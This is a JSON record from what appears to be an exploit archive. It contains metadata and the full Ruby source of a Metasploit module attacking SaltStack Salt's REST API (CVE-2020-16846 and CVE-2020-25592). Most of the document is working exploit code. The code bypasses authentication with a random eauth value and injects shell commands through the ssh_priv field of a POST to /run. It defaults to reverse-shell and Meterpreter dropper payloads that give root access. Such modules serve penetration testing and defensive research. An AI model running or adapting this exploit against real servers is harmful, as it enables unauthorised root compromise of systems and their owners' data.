{"exploit":{"id":"MSF-linux--http--saltstack_salt_api_cmd_exec","name":"SaltStack Salt REST API Arbitrary Command Execution","description":"This module exploits an authentication bypass and command injection in SaltStack Salt's REST API to execute commands as the root user. The following versions have received a patch: 2015.8.10, 2015.8.13, 2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10, 2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4, 3001.1, 3001.2, and 3002. Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.","cves":["CVE-2020-16846","CVE-2020-25592"],"author":"KPC, wvu","published":"2020-11-03","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/251027d26210b6d92820dc33a08173662c639905/modules/exploits/linux/http/saltstack_salt_api_cmd_exec.rb","path":"modules/exploits/linux/http/saltstack_salt_api_cmd_exec.rb","revision":"251027d26210b6d92820dc33a08173662c639905","filename":"saltstack_salt_api_cmd_exec.rb","vulnerabilities":[{"id":"CVE-2020-16846","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in SaltStack Salt through 3002. Sending crafted web requests to the Salt API, with the SSH client enabled, can result in shell injection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-16846","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-16846"},"updatedAt":"2025-10-21T23:35:33.124Z","retrievedAt":"2026-11-27T03:48:32.290Z","stale":false,"error":null},{"id":"CVE-2020-25592","state":"PUBLISHED","title":null,"titleSource":null,"description":"In SaltStack Salt through 3002, salt-netapi improperly validates eauth credentials and tokens. A user can bypass authentication and invoke Salt SSH.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-25592","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-25592"},"updatedAt":"2024-08-04T15:33:05.711Z","retrievedAt":"2026-11-27T07:32:51.607Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--saltstack_salt_api_cmd_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--saltstack_salt_api_cmd_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--saltstack_salt_api_cmd_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--saltstack_salt_api_cmd_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::CmdStager\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SaltStack Salt REST API Arbitrary Command Execution',\n        'Description' => %q{\n          This module exploits an authentication bypass and command injection in\n          SaltStack Salt's REST API to execute commands as the root user.\n\n          The following versions have received a patch: 2015.8.10, 2015.8.13,\n          2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,\n          2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,\n          3001.1, 3001.2, and 3002.\n\n          Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.\n        },\n        'Author' => [\n          'KPC', # CVE-2020-16846 (ZDI-CAN-11143)\n          'wvu' # Exploit\n        ],\n        'References' => [\n          ['CVE', '2020-16846'], # Command injection\n          ['CVE', '2020-25592'], # Auth bypass\n          ['URL', 'https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/']\n        ],\n        'DisclosureDate' => '2020-11-03', # Vendor advisory\n        'License' => MSF_LICENSE,\n        'Privileged' => true,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => {\n                'CMDSTAGER::FLAVOR' => :bourne,\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(8000),\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end\n\n  def check\n    # /bin/sh -c 'ssh-keygen -P \"\" -f /dev/null < /dev/null & # -t rsa -q'\n    res = send_request_cmd_inject('/dev/null < /dev/null & #')\n\n    unless res\n      return CheckCode::Unknown('Target did not respond to check.')\n    end\n\n    # Server: CherryPy/18.6.0\n    unless res.headers['Server']&.match(%r{^CherryPy/[\\d.]+$})\n      return CheckCode::Unknown('Target does not appear to be running Salt.')\n    end\n\n    # {\"return\": [{}]}\n    unless res.code == 200 && res.get_json_document['return'] == [{}]\n      return CheckCode::Safe('Auth bypass failed.')\n    end\n\n    CheckCode::Vulnerable('Auth bypass successful.')\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n    case target['Type']\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager(background: true)\n    end\n  end\n\n  def execute_command(cmd, _opts = {})\n    vprint_status(\"Executing command: #{cmd}\")\n\n    # Subshell and background our command injection\n    send_request_cmd_inject(\"/dev/null < /dev/null & (#{cmd}) & #\")\n  end\n\n  def send_request_cmd_inject(cmd_inject)\n    # https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run\n    # https://github.com/saltstack/salt/pull/58871\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'run'),\n      'ctype' => 'application/json',\n      'data' => {\n        'client' => 'ssh',\n        'tgt' => '*',\n        'fun' => rand_text_alphanumeric(8..42),\n        'eauth' => rand_text_alphanumeric(8..42), # Auth bypass\n        'ssh_priv' => cmd_inject # Command injection\n      }.to_json\n    )\n  end\n\nend\n","sha256":"973a6c6476e3a9a5e9cfb5e237ff0c97860870d48768796060b93d8b5f24d1da","bytes":4306,"fetchedAt":"2026-11-27T07:32:48.252Z","encoding":"utf-8 (display only; download retains original bytes)"}